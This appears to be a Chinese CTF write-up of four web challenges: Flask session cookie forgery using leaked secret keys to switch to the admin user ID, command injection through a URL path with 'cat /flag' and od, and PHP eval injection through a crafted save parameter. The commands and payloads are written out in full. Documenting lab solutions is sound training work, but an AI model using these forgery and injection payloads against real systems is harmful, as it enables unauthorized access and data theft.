1.flask?jwt?
在忘记密码下面有提示secretkey,那么就可以jwt伪造
自己注册个账号然后登录
点击拿flag提示你不是admin,并且cookie里面有个session,用工具解密一下
python flask_session_cookie_manager3.py decode -s 'th3f1askisfunny' -c '.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_BtL3BxRVLzE.ZeXYGA.PCLZkIezGFKXh55D8kvbdbiwmX0'
里面有个_user_id为2,那么猜测admin为1
修改成1再用工具伪造
python flask_session_cookie_manager3.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': 'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e', '_user_id': '1'}"
直接拿到flag
2.ez_factors
点击tool跳转到/114514
2*31*1847正好是114514,说明114514被进行了因数分解,那么url中的114514就可能命令执行
改成114514;cat /flag有数字生成,说明只能生成数字没有字母
od命令可以将数据以八进制数字输出
-b参数是以8进制输出
3.flask?jwt?(hard)
这次源码里面没了secretkey
先解析一下jwt看看是什么
比上次多加了时间
在源码里看到了一些东西
去/wor看一下
有时间,把这个路由下面的session随便改一下然后报错了。。。并且里面有key
hardgam3_C0u1d_u_f1ndM3????
伪造一下
为了不报错,我把时间那块删除了
python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh':True,'_id':'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e','_user_id':'1'}"
.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_pqTvDxRSLzA.ZeXkbQ.dk4CXwGdna3N9weB2RgSXMBm8gw
4.MyWeb
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧
if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}
如果mode传参为save,把data储存再/tmp/data/json文件里,data的处理方式是先用addslashes处理,然后再把]替换成,'$value'].
如果mode传参为read,读取/tmp/data.json文件
然后eval执行data,并把结果赋给$data
假设原来data.json为[1,2,3],添加一个value值为4,data.json变为[1,2,3,'4']
如果能把后面的]注释掉,就可以插入命令
[1,2,3,'];echo `cat /flag`;//'],如果能变成这样,就能执行 cat /flag的指令
那么传入的value值就应该是];echo `cat /flag`;//
这样也不会触发addslashes函数
http://node4.anna.nssctf.cn:28017/?mode=save&value=];echo%20`cat%20/flag`;//
执行失败
擦,看了别人的wp,思路跟我一样啊,没复现出来有点奇怪,应该靶机的问题。